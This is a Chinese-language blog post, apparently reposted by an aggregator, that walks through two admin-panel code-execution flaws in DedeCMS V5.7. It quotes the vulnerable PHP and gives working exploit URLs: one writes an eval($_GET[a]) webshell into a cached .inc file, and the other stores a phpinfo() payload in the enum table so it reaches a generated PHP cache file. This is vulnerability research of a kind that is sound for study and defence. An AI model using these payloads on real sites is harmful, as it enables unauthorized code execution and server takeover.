Dedecms V5.7后台的两处getshell

Posted Kevil is studying。。。

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Dedecms V5.7后台的两处getshell相关的知识,希望对你有一定的参考价值。

在这个帖子里我把两个洞一起写出来。

第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。
漏洞代码在:/dede/sys_verifies.php 代码如下:

else if ($action == \'getfiles\')
{
    if(!isset($refiles))
    {
        ShowMsg("你没进行任何操作!","sys_verifies.php");
        exit();
    }
    $cacheFiles = DEDEDATA.\'/modifytmp.inc\';
    $fp = fopen($cacheFiles, \'w\');
    fwrite($fp, \'<\'.\'?php\'."\\r\\n");
    fwrite($fp, \'$tmpdir = "\'.$tmpdir.\'";\'."\\r\\n");
    $dirs = array();
    $i = -1;
    $adminDir = preg_replace("#(.*)[\\/\\\\\\\\]#", "", dirname(__FILE__));
    foreach($refiles as $filename)
    {
        $filename = substr($filename,3,strlen($filename)-3);
        if(preg_match("#^dede/#i", $filename)) 
        {
            $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.\'/\', $filename) );
        } else {
            $curdir = GetDirName($filename);
        }
        if( !isset($dirs[$curdir]) ) 
        {
            $dirs[$curdir] = TestIsFileDir($curdir);
        }
        $i++;
        fwrite($fp, \'$files[\'.$i.\'] = "\'.$filename.\'";\'."\\r\\n");
    }
    fwrite($fp, \'$fileConut = \'.$i.\';\'."\\r\\n");
    fwrite($fp, \'?\'.\'>\');
    fclose($fp);

    $dirinfos = \'\';
    if($i > -1)
    {
        $dirinfos = \'<tr bgcolor="#ffffff"><td colspan="2">\';
        $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:<br />\\r\\n";
        foreach($dirs as $curdir)
        {
            $dirinfos .= $curdir[\'name\']." 状态:".($curdir[\'writeable\'] ? "[√正常]" : "<font color=\'red\'>[×不可写]</font>")."<br />\\r\\n";
        }
        $dirinfos .= "</td></tr>\\r\\n";
    }

    $doneStr = "<iframe name=\'stafrm\' src=\'sys_verifies.php?action=down&curfile=0\' frameborder=\'0\' id=\'stafrm\' width=\'100%\' height=\'100%\'></iframe>\\r\\n";

    include(DEDEADMIN.\'/templets/sys_verifies_getfiles.htm\');

    exit();
}

从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。

全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。

观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_GET[a]);die();/


此时写入shell成功,触发shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

 

任意代码执行了

 

 

第二个的思路比第一个稍微绕一点,但也只是绕的有限。
漏洞代码在/dede/sys_cache_up.php处 36行处:

else if($step == 2)
{
    include_once(DEDEINC."/enums.func.php");
    WriteEnumsCache();
    //WriteAreaCache(); 已过期
    ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
    exit();
}
跟进WrtieEnumsCache():

function WriteEnumsCache($egroup=\'\')
{
    global $dsql;
    $egroups = array();
    if($egroup==\'\') {
        $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
    }
    else {
        $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup=\'$egroup\' GROUP BY egroup ");
    }
    $dsql->Execute(\'enum\');
    while($nrow = $dsql->GetArray(\'enum\')) {
        $egroups[] = $nrow[\'egroup\'];
    }

    foreach($egroups as $egroup)
    {

        $cachefile = DEDEDATA.\'/enums/\'.$egroup.\'.php\';
        $fp = fopen($cachefile,\'w\');
        fwrite($fp,\'<\'."?php\\r\\nglobal \\$em_{$egroup}s;\\r\\n\\$em_{$egroup}s = array();\\r\\n");
        $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup=\'$egroup\' ORDER BY disorder ASC, evalue ASC ");
        $dsql->Execute(\'enum\');
        $issign = -1;
        $tenum = false; //三级联动标识
        while($nrow = $dsql->GetArray(\'enum\'))
        {
            fwrite($fp,"\\$em_{$egroup}s[\'{$nrow[\'evalue\']}\'] = \'{$nrow[\'ename\']}\';\\r\\n");
            if($issign==-1) $issign = $nrow[\'issign\'];
            if($nrow[\'issign\']==2) $tenum = true;
        }
        if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup=\'$egroup\'; ");
        fwrite($fp,\'?\'.\'>\');
        fclose($fp);
        if(empty($issign)) WriteEnumsJs($egroup);
    }
    return \'成功更新所有枚举缓存!\';
}

可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在:
dede/stepselect_main.php:

else if($action==\'addenum_save\')
{
    if(empty($ename) || empty($egroup)) 
    {
         Showmsg("类别名称或组名称不能为空!","-1");
         exit();
    }
    if($issign == 1 || $topvalue == 0)
    $enames = explode(\',\', $ename);
    foreach($enames as $ename){
        $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup=\'$egroup\' AND (evalue MOD 500)=0 ORDER BY disorder DESC ");
        if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500);
        else $disorder = $evalue = $arr[\'disorder\'] + ($issign==1 ? 1 : 500);
        $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`)  VALUES(\'$ename\',\'$evalue\',\'$egroup\',\'$disorder\',\'$issign\'); ");     }
    echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES(\'$ename\',\'$evalue\',\'$egroup\',\'$disorder\',\'$issign\'); ";
        die();
        WriteEnumsCache($egroup);
        ShowMsg("成功添加枚举分类!".$dsql->GetError(), $ENV_GOBACK_URL);
        exit();
    }

因此传入如下url:
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下:
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok

以上是关于Dedecms V5.7后台的两处getshell的主要内容,如果未能解决你的问题,请参考以下文章

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

极致CMS两处漏洞复现/存储xss/文件上传Getshell

dedecms最新注入和getshell漏洞利用

Dedecms V5.7 关于session

网站后台getshell的方法总结

DedeCMS v5.7 注册用户任意文件删除漏洞